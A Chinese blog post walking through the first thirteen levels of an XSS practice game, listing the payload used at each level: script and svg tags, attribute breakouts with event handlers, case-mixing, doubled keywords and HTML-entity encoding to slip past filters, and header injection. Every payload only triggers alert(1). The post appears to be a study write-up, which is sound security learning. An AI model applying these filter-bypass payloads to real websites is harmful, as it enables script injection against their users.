XSS小游戏

前言

今天实(上)训(课)的时候,老师要求的代码上午就写完了,于是下午水水群,翻翻博客,发现了这个XSS小游戏,玩了一下。

题目地址

各关payload

第一关

没有任何过滤,输出的name可控,直接写语句

name=<script>alert(1)</script>

name=<svg onload=alert(1)>

name=<a href=javascript:alert(1)>click me</a>

第二关

插入点在属性值的双引号里,闭合双引号即可

keyword="> <script>alert(1)</script>

keyword="> <svg onload=alert(1)>"

keyword="> <a href=javascript:alert(1)>click me</a>"

keyword=" onmouseover=alert(1) "

第三关

和第二关差不多,不过是单引号闭合,而且过滤了>号,就不考虑用标签了,因为事件还能用

keyword=' onmouseover=alert(1) '

第四关

事件还能用,<> 都被过滤了,双引号闭合

keyword=" onmouseover=alert(1) "

第五关

on 换成了 o_n,script 换成了 scr_ipt,这里有几个思路:干脆不用、大小写绕过、编码(只有第一个有用)

"> <a href=javascript:alert(1)>click</a>

第六关

先试了试上一关payload,href 变成了 hr_ef,这时候再试试大小写,成了;反手试了一下直接大小写,也行

"> <a hRef=javascript:alert(1)>click</a>

"> <scRipt>alert(1)</scRipt>

第七关

再上一波第五关的payload,发现script置空了;试其他payload,on也置空了,但是script的有点玄乎,双写也置空;这里双写成oonn

" oonnmouseover=alert(1) "

第八关

插入点在<a>标签的href属性里,同样javascript 变成 javascr_ipt;这里大小写没用,转换编码有用

javasc&#114;ipt:alert(1)

第九关

脑洞题:需要payload里有 http:// 不然显示非法链接,这里还是转换编码,在alert中包含 http://

javasc&#114;ipt:alert(&#34http://&#34)

第十关

有个form表单隐藏了三个输入框,其中t_sort可控,作为插入点,并且貌似没有过滤,只是看你有没有看到。。。

t_sort=" onmouseover=alert(1) "

第十一、十二、十三关

统一是抓包,分别改referer、ua、cookie,没有过滤。

后面的题目

总共有20关,貌似从这里开始就…挂了???

参考链接

完整题解

XSS注入小结

0%